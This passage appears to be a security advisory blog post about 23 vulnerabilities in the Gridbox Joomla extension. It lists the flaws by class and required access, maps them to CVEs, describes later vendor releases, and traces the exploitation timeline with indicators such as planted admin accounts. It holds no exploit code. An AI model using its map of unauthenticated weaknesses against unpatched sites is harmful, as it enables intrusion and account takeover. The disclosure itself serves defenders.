&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, as with any extension update on a production site. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; so you have a clean point to return to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for compromise now&lt;/strong&gt;, on any site that has been running Gridbox. Look for administrator accounts you did not create, and use our &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Rogue Admin check&lt;/a&gt; to find them in any group across every connected site at once. The pre-auth RCE writes a PHP shell into a web-reachable folder, which is exactly what our &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content tool&lt;/a&gt; is built to surface: it matches a file’s contents against more than 1,500 patterns taken from real hacks, not just known-bad hashes. Our guides to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through the whole triage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials&lt;/strong&gt; and treat the Joomla secret as exposed on any busy site that has been reachable while running an affected version. Anyone who got in will have left themselves a way back, so do not assume a single clean file scan means they are gone, &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;check every crontab, not just yours&lt;/a&gt;, and watch for reinfection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consider disabling Gridbox&lt;/strong&gt; on any high-value site you cannot patch immediately, if the design can tolerate it, until the fixed release is installed.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension flaw is which of your sites actually run the thing. Past about ten sites, logging into each Joomla admin to read the extensions list stops being realistic, which is exactly how old versions stay in place.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. Across the Joomla sites we manage, &lt;strong&gt;several hundred&lt;/strong&gt; run Gridbox, which is a lot of sites to reach one at a time while a flaw is being exploited.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Gridbox install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Gridbox across every connected Joomla site and find anything on an affected version. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We have added the affected range, every version below 2.20.2, to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the update to all of them from one screen.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one. Joomla runs on thousands of third-party extensions, and the ones that accept anonymous input keep producing findings like this. The hard part was never the update. It is knowing a fix exists at all, then knowing which of your sites are affected and getting to them first, before someone else does.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla extension flaw breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;The 23 vulnerabilities in full&lt;/h2&gt;
&lt;p&gt;Here is the complete set, described by class and impact rather than by exploit detail. Thirteen of these were proved live against a test install; the rest were read in the source during the audit. “Access required” is what an attacker needs before they can use it, and “None (anonymous)” means no account and no login at all.&lt;/p&gt;





















































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Vulnerability&lt;/th&gt;&lt;th&gt;Class&lt;/th&gt;&lt;th&gt;Access required&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;File upload written into a web-reachable folder, in one request&lt;/td&gt;&lt;td&gt;Remote code execution&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;SQL injection that returns every user’s password hash in the response&lt;/td&gt;&lt;td&gt;SQL injection&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Password reset of any account&lt;/td&gt;&lt;td&gt;Account takeover&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;Login as any user, including an administrator&lt;/td&gt;&lt;td&gt;Authentication bypass&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;File upload with no extension check&lt;/td&gt;&lt;td&gt;Remote code execution&lt;/td&gt;&lt;td&gt;Author&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;Arbitrary file write (the vendor’s earlier fix was incomplete)&lt;/td&gt;&lt;td&gt;Remote code execution&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;Administrator password hash exposed through a client-readable cookie&lt;/td&gt;&lt;td&gt;Credential disclosure&lt;/td&gt;&lt;td&gt;Any XSS or log access&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;Recursive directory deletion&lt;/td&gt;&lt;td&gt;Destructive file operation&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;Arbitrary file read that escapes the web root&lt;/td&gt;&lt;td&gt;Information disclosure&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;A second unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;SQL injection&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;Forging ownership of other users’ comments and reviews&lt;/td&gt;&lt;td&gt;Data tampering&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;Full server filesystem enumeration&lt;/td&gt;&lt;td&gt;Information disclosure&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;Path and exception information disclosure&lt;/td&gt;&lt;td&gt;Information disclosure&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;Five further SQL injection points&lt;/td&gt;&lt;td&gt;SQL injection&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;Arbitrary font and file upload&lt;/td&gt;&lt;td&gt;Remote code execution&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;Arbitrary extension installation&lt;/td&gt;&lt;td&gt;Remote code execution&lt;/td&gt;&lt;td&gt;Backend user&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17&lt;/td&gt;&lt;td&gt;Arbitrary file read and delete&lt;/td&gt;&lt;td&gt;Information disclosure / destructive&lt;/td&gt;&lt;td&gt;Backend user&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;/td&gt;&lt;td&gt;Forgeable payment signature with no shared secret required&lt;/td&gt;&lt;td&gt;Payment bypass&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;Payment transaction not bound to the order&lt;/td&gt;&lt;td&gt;Payment bypass&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;20&lt;/td&gt;&lt;td&gt;TLS certificate verification disabled on gateway calls&lt;/td&gt;&lt;td&gt;Transport security&lt;/td&gt;&lt;td&gt;Network position&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;21&lt;/td&gt;&lt;td&gt;Stored cross-site scripting via a comment avatar&lt;/td&gt;&lt;td&gt;Cross-site scripting&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22&lt;/td&gt;&lt;td&gt;No CSRF protection anywhere in the administrator area&lt;/td&gt;&lt;td&gt;Cross-site request forgery&lt;/td&gt;&lt;td&gt;Tricking a logged-in admin&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;23&lt;/td&gt;&lt;td&gt;Registration that puts the visitor in whatever group they ask for, including an administrator group&lt;/td&gt;&lt;td&gt;Privilege escalation&lt;/td&gt;&lt;td&gt;None (anonymous)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Number 23 is not from the audit. It surfaced alongside the active exploitation: the sign-up form hands out whatever group a visitor asks for, &lt;strong&gt;administrator included&lt;/strong&gt;. That one, the arbitrary file read (9), and the arbitrary file write (6) are the three the Joomla Security Strike Team reports are being exploited right now.&lt;/p&gt;
&lt;h2&gt;The CVE assignments&lt;/h2&gt;
&lt;p&gt;The Joomla CNA has now assigned CVE IDs for this set. It has grouped them by shared root cause rather than issuing one per finding, on the reasoning that most of these are the same systemic gap repeating: no access control on the task, no CSRF token, no check on what the request is asking the component to do. So the CVE count is lower than the count of vulnerabilities, and one ID can cover several rows of the table above.&lt;/p&gt;
&lt;p&gt;All eleven records have now published. Every one lists the affected range as &lt;strong&gt;1.0.0 to 2.20.1&lt;/strong&gt;, which is every Gridbox release there has ever been up to the fix, and four have the exploit maturity &lt;strong&gt;Attacked&lt;/strong&gt; with an urgency of Red, the CVE record’s own way of saying this is being used against real sites rather than sitting as a theoretical risk. That is independent corroboration of what we were seeing in the logs.&lt;/p&gt;













































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;What the record covers&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;CWE&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Registration accepts the user’s own group IDs, so an anonymous visitor can sign up with administrator permissions. Number 23 above, the one being exploited in the wild&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The password reset method resets any account’s password and lets the attacker log in as that user, Super Users excepted. Number 3 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The social login method logs the caller in as any user on the site. Number 4 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt; Improper Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65885&quot;&gt;CVE-2026-65885&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Authenticated arbitrary file upload. The record notes it becomes remote code execution when chained with &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65884/&quot;&gt;CVE-2026-65884&lt;/a&gt;, because the account it needs is one the attacker can create for themselves&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.4 Critical&lt;/strong&gt; (4.0), Attacked&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt; Unrestricted Upload of File with Dangerous Type&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65886&quot;&gt;CVE-2026-65886&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The photo viewer reads arbitrary files with no authentication. Number 9 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22&lt;/a&gt; Path Traversal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65889&quot;&gt;CVE-2026-65889&lt;/a&gt;&lt;/td&gt;&lt;td&gt;An unauthenticated method recursively deletes directories. Number 8 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22&lt;/a&gt; Path Traversal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65890&quot;&gt;CVE-2026-65890&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Multiple unauthenticated SQL injection vectors. Numbers 2, 10 and 14 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.2 Critical&lt;/strong&gt; (4.0)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; SQL Injection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65947&quot;&gt;CVE-2026-65947&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Various CSRF vectors in the administrator interface. Number 22 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;7.3 High&lt;/strong&gt; (3.1)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352&lt;/a&gt; Cross-Site Request Forgery&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66490&quot;&gt;CVE-2026-66490&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Stored cross-site scripting via a comment avatar. Number 21 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.1 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79&lt;/a&gt; Cross-site Scripting&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66488&quot;&gt;CVE-2026-66488&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Payment bypass. Numbers 18 and 19 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.3 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/285.html&quot;&gt;CWE-285&lt;/a&gt; Improper Authorization&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66489&quot;&gt;CVE-2026-66489&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Various unauthenticated file system disclosure. Numbers 12 and 13 above&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.3 Medium&lt;/strong&gt; (3.1)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/200.html&quot;&gt;CWE-200&lt;/a&gt; Information Exposure&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two caveats on that table. The pointers back to the numbered list are &lt;strong&gt;our reading&lt;/strong&gt; of each record’s wording rather than the CNA’s: the IDs were grouped by root cause and no official mapping was published, so one ID can cover several rows. And the seven Critical records are scored on &lt;strong&gt;CVSS 4.0&lt;/strong&gt; while the other four use &lt;strong&gt;CVSS 3.1&lt;/strong&gt;, so that column is not directly comparable down its whole length.&lt;/p&gt;
&lt;p&gt;No published record separately describes the &lt;strong&gt;unauthenticated&lt;/strong&gt; file upload at number 1, the finding we scored 10.0 ourselves. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65885/&quot;&gt;CVE-2026-65885&lt;/a&gt; covers file upload but says authenticated. Given the grouping, number 1 may sit inside 65885; the records do not say either way.&lt;/p&gt;
&lt;h2&gt;Since publication: three more Gridbox releases&lt;/h2&gt;
&lt;p&gt;Balbooa has shipped twice more since 2.20.2, and we were involved in neither.&lt;/p&gt;
&lt;h3&gt;2.20.2.2 (3 August 2026)&lt;/h3&gt;
&lt;p&gt;Turns Store customer registration off by default, after bots found the registration endpoint and created spam accounts on sites that were not using the Store at all. Balbooa’s note states explicitly that it “does not address a security vulnerability”.&lt;/p&gt;
&lt;h3&gt;2.20.2.3 (10 August 2026)&lt;/h3&gt;
&lt;p&gt;Titled “Bug Fixes and Security Hardening” and lists four areas: authorization, request handling and access controls in the media manager; path validation for internal file and directory operations; password recovery flows and token validation; and unspecified additional safeguards in internal components. There is no CVE, no severity, no affected version range, and no statement of whether any of it can be reached without a login.&lt;/p&gt;
&lt;p&gt;We did not find or report these and we have not audited 2.20.2.3, so we cannot tell you how serious they are. Three of the four areas cover the same ground as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65885/&quot;&gt;CVE-2026-65885&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66489/&quot;&gt;CVE-2026-66489&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65887/&quot;&gt;CVE-2026-65887&lt;/a&gt;, all recorded as fixed back in 2.20.2. That may be ordinary hardening on code that had just been rewritten at speed, or it may mean the July fixes needed more work, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;as happened with PageBuilder CK&lt;/a&gt;. Balbooa has not said, so treat it as unknown rather than as a new disclosure.&lt;/p&gt;
&lt;p&gt;Update to &lt;strong&gt;2.20.2.3&lt;/strong&gt;. Anything below 2.20.2 is still exposed to the actively exploited set above, and that remains the urgent one.&lt;/p&gt;
&lt;h3&gt;2.20.3.1 (21 September 2026)&lt;/h3&gt;
&lt;p&gt;A separate finding, from a separate researcher. Gridbox 2.20.3.1 fixes an unauthenticated time-based SQL injection in the front-end blog &lt;code&gt;author&lt;/code&gt; parameter, reported by Studio Przy Lesie and identified by Cert.pl. It is not part of the set we audited, and it arrived with no CVE and no CVSS score. Because it sits on the public front end it needs no login, and a blind injection like it can read the whole database given time. Update to &lt;strong&gt;2.20.3.1&lt;/strong&gt;. We cover it in full in &lt;a href=&quot;https://mysites.guru/blog/gridbox-author-sql-injection/&quot;&gt;Blind SQL Injection in Gridbox’s Blog Author&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;2.20.4.0 (8 October 2026)&lt;/h3&gt;
&lt;p&gt;Two more fixes from another outside researcher, Sergiy Tryzhychynskyi, coordinated by the Joomla Security Strike Team: a Cross-Site Request Forgery flaw in the language installation process, and a tighter path check in the image preview. Both are gaps in protections 2.20.2 added. The Joomla CNA assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102784/&quot;&gt;CVE-2026-102784&lt;/a&gt; (CSRF, 8.7 High) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102783/&quot;&gt;CVE-2026-102783&lt;/a&gt; (path traversal, 6.3 Medium). Update to &lt;strong&gt;2.20.4.0&lt;/strong&gt;. Full write-up: &lt;a href=&quot;https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/&quot;&gt;Gridbox 2.20.4.0 Fixes a Language Install CSRF and an Image Path Check&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The Joomla CNA&apos;s score for CVE-2026-65884, and our own for the pre-auth RCE&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;The published CVE record for the registration privilege escalation is scored 10.0 with the exploit maturity set to Attacked. We independently scored the worst of the twenty-three, an unauthenticated arbitrary file upload, at the same 10.0: exploitable over the internet in a single request, with no account and no user interaction, yielding remote code execution. Several other findings need no login either, and the Joomla Security Strike Team reports at least three are being actively exploited.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Single request&lt;/span&gt;
        &lt;span&gt;Remote code execution&lt;/span&gt;
        &lt;span&gt;Actively exploited&lt;/span&gt;
        &lt;span&gt;No firewall mitigation&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;Gridbox for Joomla (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Balbooa (&lt;a href=&quot;https://www.balbooa.com/&quot;&gt;balbooa.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Findings&lt;/td&gt;&lt;td&gt;23: 22 from the audit, plus a 23rd privilege escalation surfaced by the active exploitation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Headline type&lt;/td&gt;&lt;td&gt;Unauthenticated file upload leading to remote code execution (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;), alongside SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;) and authentication bypass (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;CWE-287&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS&lt;/td&gt;&lt;td&gt;Joomla CNA scores range from 10.0 (Critical) down to 5.3 (Medium). Three records sit at 10.0: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt;. The seven Critical records use CVSS 4.0, the other four CVSS 3.1. We separately scored the headline pre-auth RCE at 10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;Eleven IDs assigned by the Joomla CNA and grouped by shared root cause, all now published: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65884/&quot;&gt;CVE-2026-65884&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65890/&quot;&gt;CVE-2026-65890&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65947/&quot;&gt;CVE-2026-65947&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66488/&quot;&gt;CVE-2026-66488&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66490/&quot;&gt;CVE-2026-66490&lt;/a&gt;. The earlier authentication bypass is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Unauthenticated remote code execution, administrator takeover, and disclosure of every user’s password hash&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Active exploitation&lt;/td&gt;&lt;td&gt;Observed by mySites.guru in server access logs and on compromised sites, reported by the &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; on 29 July 2026 (at least three issues), and recorded in four of the eleven CVE records as exploit maturity Attacked with an urgency of Red&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Audited in&lt;/td&gt;&lt;td&gt;Gridbox 2.20.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Every version below 2.20.2. The CVE records state the range as 1.0.0 to 2.20.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;Gridbox 2.20.2, see Balbooa’s &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;security release announcement&lt;/a&gt;. Balbooa has since shipped 2.20.2.2 and &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;2.20.2.3&lt;/a&gt;, which is the current version to be on&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru. The published CVE records credit Phil Taylor and Pascal Lohmann&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; 2.20.1 closes the authentication bypass, and prompts the full audit CVE-2026-61425, one cookie and a visitor was the site&apos;s administrator, which we had scored at CVSS 4.0 10.0. That release is what led us to audit the whole extension.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07&lt;/strong&gt; Late July: the audit finds 22 issues, and two partial builds follow Balbooa sends a build described as fixing everything we reported and asks us to confirm it. We find it does not, report both remaining issues back, and ask for one coordinated release that closes everything rather than another partial build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-27&lt;/strong&gt; Active exploitation on connected sites Our rogue admin check holds 92 planted accounts on a single connected Joomla site, every one stamped by the same generator: the username xtw18387 plus four hex characters with a matching outlook.com address, arriving in batches minutes apart. This surfaced a 23rd finding, a privilege escalation.&lt;/li&gt;
